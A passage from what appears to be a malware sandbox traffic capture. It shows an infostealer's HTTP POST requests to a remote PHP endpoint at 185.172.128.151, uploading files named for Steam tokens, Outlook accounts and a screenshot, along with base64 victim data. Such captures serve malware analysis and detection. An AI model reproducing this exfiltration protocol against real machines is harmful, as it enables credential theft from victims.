cnRQb3MgPSA0ODAwNTEyIGZpbGVPZmZzZXQgPSA0ODAwNTEyIG51bVJldHJpZXMgPSAwCjIwMTcxMjA2LTIyNTgxMiAgICAgIFN0ZERvd25sb2FkZXIuY3BwKCAxODIpICA6IG5SOiAwIGRUQTogNDgwMDUxMgoyMDE3MTIwNi0yMjU4MTMgICAgICAgIFNUQVRFX1JFU1VNSU5HCjIwMTcxMjA2LTIyNTgxMyAgICAgICAgU1RBVEVfRE9XTkxPQURJTkcKMjAxNzEyMDYtMjM0MjQ5ICAgICAgICBTdGREb3dubG9hZGVyLmNwcCggMjg1KSAgOiBhY3R1YWxOdW1iZXJPZkJ5dGVzUmVhZCA9PSAwIC0tIHByb2JhYmx5IGVuZCBvZiBwYXJ0aXRpb24KMjAxNzEyMDYtMjM0MjQ5ICBBcHBsaWNhdGlvbkxpYi5jcHAoIDI2OSkgIDogUGFydGl0aW9uICAxIFJldHJ5ICAwCjIwMTcxMjA2LTIzNDI0OSAgV2luZG93c0lOZXRDbGllbnQuY3BwKCAgODApICA6IHBvc3QgdG8gaHR0cHM6Ly9zd3ZnZHR0LWdhdGV3YXkuYW1hem9uLmNvbS9nYXRld2F5L3RoaW4KMjAxNzEyMDYtMjM0MjQ5ICAgIFdpbmRvd3NJTmV0Q2xpZW50LmNwcCggMTI5KSAgOiBob3N0TmFtZTogc3d2Z2R0dC1nYXRld2F5LmFtYXpvbi5jb20KMjAxNzEyMDYtMjM0MjQ5ICAgIFdpbmRvd3NJTmV0Q2xpZW50LmNwcCggMTMwKSAgOiB1cmxQYXRoOiAvZ2F0ZXdheS90aGluCjIwMTcxMjA2LTIzNDI1MCAgSnNvbk1lc3Nlbmdlci5jcHAoIDIxOSkgIDogZ2V0UGFydGl0aW9uKCkKMjAxNzEyMDYtMjM0MjUwICAgIEpzb25NZXNzZW5nZXIuY3BwKCAyMjEpICA6IHBhcnRpdGlvbkluZGV4OiAxCjIwMTcxMjA2LTIzNDI1MCAgICBKc29uTWVzc2VuZ2VyLmNwcCggMjIyKSAgOiBjaGVja3N1bTogCjIwMTcxMjA2LTIzNDI1MCAgICBKc29uTWVzc2VuZ2VyLmNwcCggMjIzKSAgOiBkb3dubG9hZFVybDogczMuYW1hem9uYXdzLmNvbQoyMDE3MTIwNi0yMzQyNTAgIEFwcGxpY2F0aW9uTGliLmNwcCggMjgzKSAgOiBHZXQgMjU2NDM1ODgwIGJ5dGVzIGZyb20gczMuYW1hem9uYXdzLmNvbQoyMDE3MTIwNi0yMzQyNTAgIFN0ZERvd25sb2FkZXIuY3BwKCAgNTcpICA6IGZpbGVPZmZzZXQ6IDUyNDI4ODAwMCwgcGFydGl0aW9uU2l6ZTogMjU2NDM1ODgwLCBzdGFydFBvczogMCkKMjAxNzEyMDYtMjM0MjUwICAgIFN0ZERvd25sb2FkZXIuY3BwKCAgODIpICA6IG9yaWdTdGFydFBvczogMCAvIHN0YXJ0UG9zOiAwIC8gbnVtUmV0cmllczogMCAvICBieXRlc0Rvd25sb2FkZWQ6IDUyNDI4ODAwMCAvIGRvd25sb2FkZWRUaGlzQXR0ZW1wdDogMAoyMDE3MTIwNi0yMzQyNTEgICAgICBTdGREb3dubG9hZGVyLmNwcCggMTgyKSAgOiBuUjogMCBkVEE6IDAKMjAxNzEyMDctMDAwNDQ2ICAgICAgICBKc29uTWVzc2VuZ2VyLmNwcCggMzczKSAgOiBKc29uTWVzc2VuZ2VyOjpsb2coaW5mbywgKQoyMDE3MTIwNy0wMDA0NDYgICAgICAgIFdpbmRvd3NJTmV0Q2xpZW50LmNwcCggIDgwKSAgOiBwb3N0IHRvIGh0dHBzOi8vc3d2Z2R0dC1nYXRld2F5LmFtYXpvbi5jb20vZ2F0ZXdheS90aGluCjIwMTcxMjA3LTAwMDQ0NiAgICAgICAgICBXaW5kb3dzSU5ldENsaWVudC5jcHAoIDEyOSkgIDogaG9zdE5hbWU6IHN3dmdkdHQtZ2F0ZXdheS5hbWF6b24uY29tCjIwMTcxMjA3LTAwMDQ0NiAgICAgICAgICBXaW5kb3dzSU5ldENsaWVudC5jcHAoIDEzMCkgIDogdXJsUGF0aDogL2dhdGV3YXkvdGhpbgoyMDE3MTIwNy0wMDA0NDcgICAgICAgIFN0ZERvd25sb2FkZXIuY3BwKCAyODUpICA6IGFjdHVhbE51bWJlck9mQnl0ZXNSZWFkID09IDAgLS0gcHJvYmFibHkgZW5kIG9mIHBhcnRpdGlvbgoyMDE3MTIwNy0wMDA0NDcgIFN0ZERvd25sb2FkZXIuY3BwKCAzNDMpICA6IFN0ZERvd25sb2FkZXI6OmNsb3NlCjIwMTcxMjA3LTAwMDQ0NyAgV2luZG93c1VpLmNwcCggNjkxKSAgOiBzZXREb3dubG9hZFN0YXR1c1RleHQ6IEZpbmlzaGluZyBkb3dubG9hZC4uLgoyMDE3MTIwNy0wMDA0NDcgIFdpbmRvd3NJTmV0Q2xpZW50LmNwcCggIDgwKSAgOiBwb3N0IHRvIGh0dHBzOi8vc3d2Z2R0dC1nYXRld2F5LmFtYXpvbi5jb20vZ2F0ZXdheS90aGluCjIwMTcxMjA3LTAwMDQ0NyAgICBXaW5kb3dzSU5ldENsaWVudC5jcHAoIDEyOSkgIDogaG9zdE5hbWU6IHN3dmdkdHQtZ2F0ZXdheS5hbWF6b24uY29tCjIwMTcxMjA3LTAwMDQ0NyAgICBXaW5kb3dzSU5ldENsaWVudC5jcHAoIDEzMCkgIDogdXJsUGF0aDogL2dhdGV3YXkvdGhpbgoyMDE3MTIwNy0wMDA0NDggIEpzb25NZXNzZW5nZXIuY3BwKCAyODApICA6IGZpbmlzaERvd25sb2FkKCkKMjAxNzEyMDctMDAwNDQ4ICBXaW5kb3dzVWkuY3BwKCA2OTEpICA6IHNldERvd25sb2FkU3RhdHVzVGV4dDogR2V0dGluZyBwcm9kdWN0IGtleXMuLi4KMjAxNzEyMDctMDAwNDQ4ICBTVEFURV9HRVRUSU5HX1BST0RVQ1RfS0VZUwoyMDE3MTIwNy0wMDA0NDggIFdpbmRvd3NJTmV0Q2xpZW50LmNwcCggIDgwKSAgOiBwb3N0IHRvIGh0dHBzOi8vc3d2Z2R0dC1nYXRld2F5LmFtYXpvbi5jb20vZ2F0ZXdheS90aGluCjIwMTcxMjA3LTAwMDQ0OCAgICBXaW5kb3dzSU5ldENsaWVudC5jcHAoIDEyOSkgIDogaG9zdE5hbWU6IHN3dmdkdHQtZ2F0ZXdheS5hbWF6b24uY29tCjIwMTcxMjA3LTAwMDQ0OCAgICBXaW5kb3dzSU5ldENsaWVudC5jcHAoIDEzMCkgIDogdXJsUGF0aDogL2dhdGV3YXkvdGhpbgoyMDE3MTIwNy0wMDA0NDggIEpzb25NZXNzZW5nZXIuY3BwKCAzMzUpICA6IGdldFByb2R1Y3RLZXlzKGFzaW46IEIwMDhJNzlKUTgpCjIwMTcxMjA3LTAwMDQ0OCAgV2luZG93c1VpLmNwcCggNjkxKSAgOiBzZXREb3dubG9hZFN0YXR1c1RleHQ6IFJlYWR5IHRvIGluc3RhbGwhCjIwMTcxMjA3LTAwMDQ0OCAgU1RBVEVfRE9ORQoyMDE3MTIwNy0wMDA1MzUgIFdpbmRvd3NVaS5jcHAoIDk3MSkgIDogSURDX1ZJRVdfS0VZUy9JRENfVklFV19LRVlTMiBjb21tYW5kCjIwMTcxMjA3LTAwMDc0MSAgV2luZG93c1VpLmNwcCggOTU3KSAgOiBJRENfSU5TVEFMTC9JRENfSU5TVEFMTDIgY29tbWFuZAoyMDE3MTIwNy0wMDA5NTMgIERTVkNsaWVudExvZy5jcHAoICA4NSkgIDogRFNWQ2xpZW50TG9nOjpjbG9zZSgpCjIwMTcxMjA3LTAwMDk1MyAgRFNWQ2xpZW50TG9nLmNwcCggIDg3KSAgOiBjbG9zaW5nIGZpbGUgYmVmb3JlIHVwbG9hZAo= ------JEHIJJKEGHJJKECBKECF--" HTTP/1.1 200 OK Date: Mon 29 Apr 2024 10:34:23 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5 max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>....... "POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHIDHDAKJDHJKEBFIEH Host: 185.172.128.151 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "------JEHIDHDAKJDHJKEBFIEH Content-Disposition: form-data; name="token" 60ec08cc424ad27c6e0e8f729f8567ecc4410ae862f8d1f76dc96c597e1ff03bd008a4de ------JEHIDHDAKJDHJKEBFIEH Content-Disposition: form-data; name="file_name" c3RlYW1fdG9rZW5zLnR4dA== ------JEHIDHDAKJDHJKEBFIEH Content-Disposition: form-data; name="file" ------JEHIDHDAKJDHJKEBFIEH--" HTTP/1.1 200 OK Date: Mon 29 Apr 2024 10:35:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>....... "POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKFHIIEHIEGDHJJJKFI Host: 185.172.128.151 Content-Length: 855 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "------IJKFHIIEHIEGDHJJJKFI Content-Disposition: form-data; name="token" 60ec08cc424ad27c6e0e8f729f8567ecc4410ae862f8d1f76dc96c597e1ff03bd008a4de ------IJKFHIIEHIEGDHJJJKFI Content-Disposition: form-data; name="file_name" c29mdFxPdXRsb29rXGFjY291bnRzLnR4dA== ------IJKFHIIEHIEGDHJJJKFI Content-Disposition: form-data; name="file" CmNsc2lkIDoge0VENDc1NDE0LUIwRDYtMTFEMi04QzNCLTAwMTA0QjJBNjY3Nn0KTWluaSBVSUQgOiAxMzA5NTU3MTA0ClNlcnZpY2UgVUlEIDogClNlcnZpY2UgTmFtZSA6IENPTlRBQgpNQVBJIFByb3ZpZGVyIDogMgpBY2NvdW50IE5hbWUgOiBPdXRsb29rIEFkZHJlc3MgQm9vawpQcmVmZXJlbmNlcyBVSUQgOiAKCmNsc2lkIDoge0VENDc1NDE0LUIwRDYtMTFEMi04QzNCLTAwMTA0QjJBNjY3Nn0KTWluaSBVSUQgOiAxMjc0ODY0MzAwClNlcnZpY2UgVUlEIDogClNlcnZpY2UgTmFtZSA6IE1TVVBTVCBNUwpNQVBJIFByb3ZpZGVyIDogNApBY2NvdW50IE5hbWUgOiBPdXRsb29rIERhdGEgRmlsZQpQcmVmZXJlbmNlcyBVSUQgOiAK ------IJKFHIIEHIEGDHJJJKFI--" HTTP/1.1 200 OK Date: Mon 29 Apr 2024 10:35:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5 max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>....... "POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAFIJJJKEGIECAKKEHI Host: 185.172.128.151 Content-Length: 62427 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "------FCAFIJJJKEGIECAKKEHI Content-Disposition: form-data; name="token" 60ec08cc424ad27c6e0e8f729f8567ecc4410ae862f8d1f76dc96c597e1ff03bd008a4de ------FCAFIJJJKEGIECAKKEHI Content-Disposition: form-data; name="file_name" c2NyZWVuc2hvdC5qcGc= ------FCAFIJJJKEGIECAKKEHI Content-Disposition: form-data; name="file" /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAMgBQADASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDnBTqQU4V6R5ICnUgq1PNounQ2g1O8uYJrmNpV8uDzFChivPOex7U1GUnyxV35FRi5bEFKKt2yaJfOqWniG1MjnCpNE8ZJ9ORWm3hPUh/qzbyn0SYZ/XFE4Th8aa9U1+Y+SRhinCtN/DmsR9dPmb/rmN/8s1Rmglt5DFPE8cg6q6kEfhUXT2Bxa3I6dSCnUCCnCkFOAoAUUtFKKQCinYpBTgKBi0tJThQACnUlOFIYCnCgUtABThQKcKBgKdRRSAUCloFLQMUUooFLQAU4UCnAUhgBSgUAU4UAAFLRTsUAAFLRSgUDAUoFLRSAKUClxTgKBiYpQKUCnAUAJinYopaQCUuKXFLQAlLS4pcUDExS0tLigBKXFLilxQAmKXFLilpDEpaXFAFACUuKXFLigBMUuKXFLigBuKXFOooGJijFOxRikAlFOxRigBtLinYooAbijFOooATFGKWlxQA3FGKdijFACUmKdijFACYoxS4oxQA3FGKdijFADcUYp2KSgBuKMU6igBuKMU6jFADKKdijFADKMU7FFADMUmKfSUxDcUmKfikxQAzFJT8UmKAG0mKdikoAbikIp9JigBlJT8UmKYhmKTFPxSUAMpKfSUAMxSU+kxQAzFIRTqKBEeKTFPxSEUwI8UlPxSEUAMxSYp1JQIbTSKeRSUAMpCKeRTaYhhFNIqTFNIoAYRTakIppFADMU2n0hFMQykNOpMUAMNIRTqQ0CGEU2pDTDTAaaaafSEUCI6Q08im0AMpDTzTaYhhpCKeaaaAGU0080lAhhFNp5ptMBpptPppoAaaaafTTTEMNJTjTaAGmmmnmmmmA2mmnUhoENpppxooAjNJTzTTTET0+NQzAFgo6lj0A700Ve0iMS6vaRkZDyBSPrUSbSbRcVdpHX+GvCGi6jpsGpTahLcQy8okSbdw+vpXnnxRs44vEbSWqlLS0SO0VCcleC+c++a9gsSlnbJboiRIJGCogwAPYV434w1FL3Vtbgdh89yVB9CgUD9RWuUzn9Y530R2zhFQskczp129ndwXMZIeGRZBj1BzX1RBqcN7bxXG1GWVFcbgD1Ga+Ro3xXtHhnxH/AMU7p6tIdyRBDz6cV9FmlJYinCS3V/xOWl7jZ6fcm0Ns+2CMO2FBUYOScdq8x8YT/aPE12+eA2B+HH9K6Gw1j7ZqNpbq+d8wJHsOf6VyGsSedrF0/rITXzdek6dRRfa5pOV4FEU4UlOFQYCinUgpaAFFKBQKcKQwFOopQKAFApaKUCkMBTgKAKdQAUoopwFAwxTgKBS0gCnCgCloGFOAoFLQAU4CkApwFIYoFOApAKcBQAAUtFOAoGAFLRS0gACnUUooAKXFAFOAoGAFOAoxS0AGKWinAUgExS0tLQMSlApcUtABRS4pcUAGKXFLilpDExS0UuKAEpcU7FLigBMUuKXFLQAmKMUtLigYlLilxS0gG4pcUtFABRS4pcUANpcUuKXFADcUuKdijFADcUYp2KMUDExRinUUgG4oxTqKAG4oxTqKYCYoxS0UgG4oxTsUUANxRinUUAMxRin4pMUxDcUmKfijFAEdFPxSYoAbRinYpMUANxSYp1FADcUlPxSYoAZRinYpKAGYoxT6TFMRHiin4pMUAMpMU7FJQA3FNIqSkxQBHRTsUmKYhmKSn0mKAGUmKfikoAZSYpxFJQIYRSYp9JimBGRTakIppFADaaRT6SgQykIpxpKYDKQinkU2gQwimmpDTTQAwim08immgBpptPpCKYhhFNp9IaAGGm4p9IRQIjNJTzTaYDDTTUlNIoEMppFPNNNADaaaeaQ0xEZptSGmmgBhppFPpDTER0lPNNoAZSGnmm0wGGmmnmkNAhlNNPNIaAIzSU8000xDTTadSGgBhpDT6aaBE4rQ0VtmtWTHtMp/WqAqSKV4JVljba6nKnGcGplqrFxdmmelXTSs8bQoXYs+AOmc8VwOsfD/AEyS6uJZr29tJ23TzlSs6R5PJbA+Tk9zU17r+o3cEcEUq20aklvKXJfPUEtnj6Y/Gkt/O1m9t7O5n2wlvljVQqL9FHGe2Tk+9Y0nWpPmg7Ha60HotTlZ/hzcg5sNYsLof7RKH+oqW20PxNptpsGlzTRoT81syy/opJ/SvXrHwtYKm2OIg4wXY5Y/j2/DFQXHh24tWL2V7KhBxtcBgfauyGcV46OzQ/Yxa1OG8CXlzL4vEVzFLE9tbSylJUKkHGBwfrTrk7rqY+rn+ddNrPiLUNKsovMWOTzGaNhJn06rz/nIrkYpDINxHWoq4l4mp7S1tLGFWKiuUkFOFIKcKgwFpQKQU8UhgBTsUgp1ABTgKBS0gFpQKBThQMBTqSnAUAAFOFAp1IYUooFOoGFKBQBTqAClAoApwpDACnAUCnCgAApaKcBQAAUtFKKQwxTqKUCgApQKUClAoGGKdigCnUAFGKUClxSAMUtFLigYAUtLRigAxTsUYp2KQCYpcUtLQMSlxS4pcUAJilxS4paADFFLS4pDEpcUuKWgBMUtGKXFACUuKXFLigBMUYp2KWgBuKXFLRSGJilpcUuKAG0uKXFLigBuKMU7FGKAG4pcU7FGKAG4oxTsUYoAbijFPxRigBmKMU/FJigBuKMU/FJigBuKTFPxRigBmKMU7FGKAGUU/FJigBtJinYoxQA3FJinYooAZijFPpMUxDMUlPxSYoAbSYp2KSgBuKSn0mKAG0mKdikpgMxSYp+KTFAhmKSn4puKAGmkxTqKAIyKSpMU3FMQzFJinUUAMpCKcRSUAMoxTsU2gQ0im4qSmmmAwim4p5FIaAGU0inmkoEMpCKcaSmAykNOIpKBDKaRUhFNNAEZFJTzTcUAMIpKfTaYhhpKfTTQAwimmpKaRQIjpDTzTaYhhpDTzTTQAw02n00igBpFNNPpppiGGkpxptADTTTT8U00xDaaadSGgBtNNOpDTAYabTzTTQIaaaafTTQAykNONJTEMpDTjSUATiloqaGFXiaea5t7S2VvL864LbS/XaAqszHHPAwO+MipbSV2Uk27IjFPUlSCCQR0IqLzYxK6CWJwrYDo2Vb3GcH8wDTvNjHWRP8Avqi6YWaOnsPGmp2UYRxFcgcAyg7vzFTz+OL+aNkS1tkDck4YnP51yYlj6+Yv504SR/31/OodOHY0VWfcsXtxLqM5mu3Mr9s9voO1RqABgCmlgIEnOPJeVoVfcMF1AJHXPRh+dKJYunmJ/wB9CqVtkS77seKdSDpxThQSKKcKQU4UDFpRSU4UALSgUCnCkMBTqBSigApwoFOFAwFLRTgKQwpwpKcKAClFFOFAwFOAoApwFIAAp1FKKAACnUUooGAFOopcUgDFKBQBTgKBgBThQBTqAClFApaQAKWinAUDClopRQAYpQKUClxSAMUtFLigYAU7FGKcBQAmKXFLS0DEpcUoFLSATFLRS4oATFOxRinAUANxS4p2KKQxMUtLilxQA3FLilxS4oATFLilxS4oAbilxS4paAG4pcUtLigBuKMU7FGKBiUUuKXFADaKdijFADaKdijFADaKdijFADaKdijFIBtFOxSYpgJSYp2KMUANxSYp1FAhuKTFPpMUANxSYp+KTFADMUlPxRigBlJinYoxQA3FNxT6TFADMUlSYpuKYhtJinYpKAGkUlPpuKAG4pMU6imBHikxT8UhFAhlIRTsUlADMUhFPxSEUCGU0in4pKYDKQinkU2gBtJTqSgQwimkVJTSKYDDTSKeaaaAG00inUhoENppp5pKYDKaRTzSUCIyKaakNNNAEZpKeabTAbTTTzTaBDKQ0802gQw0008000wG00040hoEMNJTiKbQA00lONNpiGmmmnmmmgBlNNPNJTERmkpxpKAGGkpxptADTTTTzTTTEMpDTjSUAMNNp5pppiGmm0+mmgCeonS0vYYbS9u0s5LW5kuIXnjdopVkCBlOwMQw2Aj5cHJyRgZmFKUVvvKD9RUSjzKxcJcruSaZrMVgI4LTWVsI7fUDLdbYJSNQg2rhFAU5xtcbZNo+cHjnEGm+LLmBNHgS5a3so7O9W6tvKJUSs0zQg/L8+CYyDyAfTmpPKj/uL+VL5af3F/KspUebd/1axtGvyqyQaXr97eWsk1xrLQ6pD4elS4vp0kcxyfbF2MSFLEhWX5lyRxjkVXvNVXVY9Us31ZI5JY7Fv7QmhlKXLxIyythULZYvxuAzt5wTUk1msu4K7Rh12SBDgOuQdp9RkA49hUywxhAuxcAYAxR7J81/63bK9vpt/Wn+RLe+J0urxn/tK4n06DxC921i4lxc2rGMgKpG3gq7bWK8n3qS98TXy3d5cLqtk8z2MsFpPZfbDJuM0TAMZ8lflVyMHA555FQiKP8AuL+VOEUYOfLTP+7SVBJWv/VrB9Yfb+r3EgBEEYbrtGamFIBThWxziinUgpwoAUUtIKcKQxRThSAU6gApwpBThQMUU6gUopAKKWkFOFAwFOopRQAopwFIBThSGKKdSClFACilFApaBiiloFLSAKcBQBThQMAKcBQBTqAClFAFLSABS0U4CgYClopwFAABSgUYp1IYUtFKBQAAUoFLilxQAUtFLigYYpcUtFIApcUuKXFACYp2KMUtAxMUtLilxSATFLilxS4oATFLilxS4oATFGKWlxQAlFLilxQMTFGKdRSATFGKXFLigBKKXFLigBtFOxRigBtGKfijFADcUYp2KMUANoxTsUYoAZiin4pMUANop2KMUANop2KTFACYpMU7FJQA3FGKdRQAyinYoxTAZijFOxSUANxSYp9JigQzFJin4pMUAMpMU/FJigBhFJin0mKYDMUlPxTcUCG4pMU6igBlIRTiKSgBhFJin4pCKYiOkxTyKSgBhFNIqSmkUCGUhpxFJTAZSGnkU2gBtJTsU2gQ0imkVJTSKYEZFNqQimkUAMNNp9IRQIYaaafSEUwGGkIp1IRQIjNNIqQimkUAMppFPNJTEMppFPNNoAbTTTjSGgQw02nkU00wGmmGpKaRQIZTTTzTTQA2mmnGkNMQwim08000ANNNNPpppiGU008000ANppp5pppgMptPNNNAhpppp9NNADKQ040lMROKcKQU4Uhi04UgpRSGLThSCnCgBRS0UopAKKcKQU8UDCnCkFOoAKcKQU4UhiilFFOAoAUU4Ugp1IYU4Ugp1AwpwpBTqACnCgU4CkMBTxSCnUAFOFIKdQMKcKQU6kAU4UgpwoGKBTqQU4UAFKKKcKQAKdSU4UDAClopwoAAKcKAKWkMKUUCnAUAIKcBQBTqAEpwopcUhhilopQKADFKBS4pcUAAFLRS4pDEpaXFOxQAmKWlxS0AJilopcUDEpcUuKWkAmKWilxQAlGKdilxQA3FLilxS0ANxS4paKAExS0uKMUDEop2KMUANop2KMUANop2KMUANop2KMUANop2KMUANop2KMUANoxS4oxQA3FJinUUCG4pMU+koAZiin4pMUANpMU7FJQA2kp9JigBtJinYpKYDcUmKfSYoER4pKfikxQA2mkU/FJQAwikxTyKSmIZSEU7FJQAykp5pKAGYppFPpDTEMIpKeRTSKAGEUhp9NIoAZSEU4ikpiGUmKeabQAykNPIptAhhFNIqQ000wGGm08immgBhFJT6aRQIYRSU+mmmAwimmpKaRQIjIptSGmGgBpptPpppiGmm0+mmgBhppqQ000CI6Q0802mIYabTzTTQA002n000xDDTTTzTTQAykNONJQIYabTzTTTAYaSnGmmgBpppp5pppiGUhpxpKAGGm08000xFgU6kFLSKFFOpBThSAUU4Ugp1ABThSCnCkMcKWgUooAUUtFKKQxRThQKWgBRThSCnCgYopRRThSABThSU4UDFpRSU4UhiinCkFPAoABS0U4UAApwpKcKQxaUUlOFACgU4UgpwoGKKWilFIBRS0UooGAFOopRQACnAUAU6kAUooFOFAwpwFIKdQAUtGKdSGJS0U7FAABS0CnUAJS0uKXFIYmKdiinYoATFLS0uKAEpcUuKWkMTFLRS4oASlxS4pcUAJilxS0UAFFLilxQMTFGKdilxQA3FGKdRigBMUYp2KXFIBuKMU7FGKAG4pcUuKWgBuKMU6igBuKMU6igBmKMU/FJigBuKMU7FGKAGYoxTsUYoAZijFOxRimAzFGKdijFADKKdikxQA3FJinUUCGYpKfikxQA2kxTsUlADcUlPpMUAMpCKdRTEMxTcVJim4oAZSYp+KbQA3FNNSU2mIZSGnkU2gBtJTqSgBhFIRT6aaYhhpKeaaaAGEU01JTTQAymmnmkpiGUhpxFJQAykNONJQIYRTDUhFNNMBhppp5ptAhpppp5FNoAZSGnmm0xDCKaaeaaaAGGkNONNpgNNNNPNNoEMpDTjSUCGGmGpDTTTAYaaafTTQIZSGnGkoAZTTTzTTTEMNNp5ppoAaaaaeaaaYhlNNPppoAbTTTqQ0wGGm08000CGmmmn0w0AWaUUlOFIZNBbS3BxGue2SQB+Zq+mh3JXc0tun1lH9K0fCHlS3c8E8SSxiMyBGGecitu4utBSRo5NJmRh3inP9anW9jRKNrnITaZJAuTLE/tHub+lUxjdhhIv+9C+P8A0GuovbiyKf6BayK3/TeXI/SqNtFqlw5O+wRAenlux/8AQhQ0/MEovsZgtpfK81V3RjqynOPr6UwV0V/cm0014Fji8yX5GlCAEjuK58URbe4pJJ6BThSCnCgkKcKQU4UDHClFJThQMUU4Ugp1IAFOFAFLQMUU6kFKKAFFPFNFPFIYop1IKWgBRTqQU4UDAU6ilFIBRTgKQU4UDFFOpBS0gFFOpBTqBgKdSClFACinAUgFOxSAKdikpwoGAFOAoFOoAKUUCnUhiUtFOoAKcBQBS0hhS4oApwFACAU7FAFOoATFLRThQMQClxS0UgClxS4pcUAIBS4paKAClxS4oxQMMUYpcUuKAExS4pcUuKQCYpcUtFACYoxTsUYoASilxS4oGNpcUuKWgBuKMU6igBuKMU6igBuKMU6igBuKMU6jFADMUU/FJigBtFOxRigBuKTFPxSYoENxSYp+KSgBmKTFSUmKAGYpMU/FJimAzFJT8UmKAGYpMU/FJQIZikp+KQigBmKTFPxSUAMpCKeabTAbim4p9JigQzFJTyKbigBhFJin0hFAiOkIp5FNpgNpKcaSgBhFNIp9IaYhhptPNNoAaRTDUhppFAhlJTqQ0wGU00+kIoEMpCKdSGgCM00ipDTTTAZTTTzTTQIbTTTqQ0wGmmmnUhoERmmmnmmmgBtNNOpDTEMNNNPppoAaaaafTTQIjpDTzTaYhhptPNNNADTTafTTTEMNNNPNNNADKQ040hoERmkp5plMBppKcabTAaaaaeaYaBDaaadSGgCwKdSClpDNnwvL5euwjOA6sn5g1f1Y+XctITx9KxNMlMGqWsucbZVz+da+uFhdFGHBz0+tXTtzXlsN/CVRICMg5BrT01vlb61zUN1Es5tV3BlHBbv61s2LzOrRxfLk/NJ/dHt706sXF2ZMHdjNYmDyCNTnaefrWZVzUgqXCxoPlVf51TFZLYt7jhS0UopAKKcKQU6gBRThSCnCgYopwpKcKQC0opKcKBi04U0U8UhiinCkFOFAC04U0U4UDFpwpBTqQBTgKQU8UDAU4UAU6gApwpKdSAKcKQCnUDCnCkFOAoAUClopaQxRThSAU6gAFOFJTsUhgKWinCgAAp2KAKWkMKUCgCnAUAApRQKdQAUtGKUCgYYpaKXFIAxS4op1ABRRTgKBiYpcUopcUAJilxSgUtIAxRilpaAEopcUuKBiYoxTqKAEpaXFGKAEop2KMUANpcUuKXFADcUYp2KMUANxS4p2KKAG4oxTqKBjcUYp1FADcUmKfSYoENxSYp+KMUAMop2KTFACYpMU7FJQA3FJin0mKAG0mKdiigQzFJin0mKAGYpMU/FJTAZikp+KbigBuKbin0YoER0mKeRTaAGUU/FNIpgMIpCKfTSKBDDSU8immgBpFNNPpppiGUhp5ptADTTTTzTaAGGmmpDTTTEMpDTjSUAMNNp5pppiGEUlPppoAYaSn000CGGmmnmmmmAw02nmmmgBpptPNNNAhhFJTjTaYDTTTTzTTQIjNJTzTKAGmmmnmm0xDDSGnGkoEMNNNPNNNMBpphp9NNAhlIacabQA2mmnGkNMQw02nmmmgBhppp5pppiG0006kNADKaafTTTAYaSnGm0CLApwpKcKQxRxz6c1197pU+qzxtHJFEkieYC5OTkcdPrXIiu68J3P2mwijUQyTwjYVdjvUDgY68YArOc5Q1ibUYRm2pGOngaeKV7m51BGCj5BGhY575zirun6VJHbyNHMsmD0K7TXRazfLotsZ76BlQD/AJZsG/wrk4fHllfSNFHbvBCMlppWAOPYDqazqYmpUleTN1QhFaGPfSB9QnHdW2kfSohVKJ5bm5adlKl2Ltn3OavCtlscstxacKQU4UCFFOFJThQAopwpBTqQxRTqQUtAxRTqQUtADhThSCnCkMUU6kFOFACilopRQMUUtFKKQCinikFOFAxRS0UopAKKdSUooGLThSU4UAKBTqQUtIYopwpBThQAopaKUCkMUClopQKAFFKKAKdQAUtFKKQxRSigCnUAFLQKUUDClopwFIAxSigUtABS4oxTqBiYp1GKXFAABS4opaQBRS4pcUDExS4paKACilxS4oATFLilxS0ANxS4paKQwxRS4oxQAlFOxS4oAbijFOxS4oAbijFOxRigBuKTFPxRigBmKMU/FJigBuKTFPxRigBlFOxRigBtJinYpMUAJikp1FMBmKSn4pMUCG0mKdikoAbikp9JigBtJTjSUCGYpCKeaTFADCKbUhFNxTAbTSKfikoEMNJTsUhoAYRSU+mkUAMIpCKfSEUxEZFJTiKSgBhppFPNIRQIZSGnEUlMBlIacaSmAw000800igQw000+kIoAjNJTyKbTEMpDTjSUAMpDTjSUCIzTTUhFNNMCOkNONJQIZTTTzTTTAbTTTjSGgQw0w1IaYaAG0006kNMQw000+mmgBpppp9NNAiM0hpxpKYhhptPNNNADDSU402mIaaYaeaaaAG0006kNAhhpppx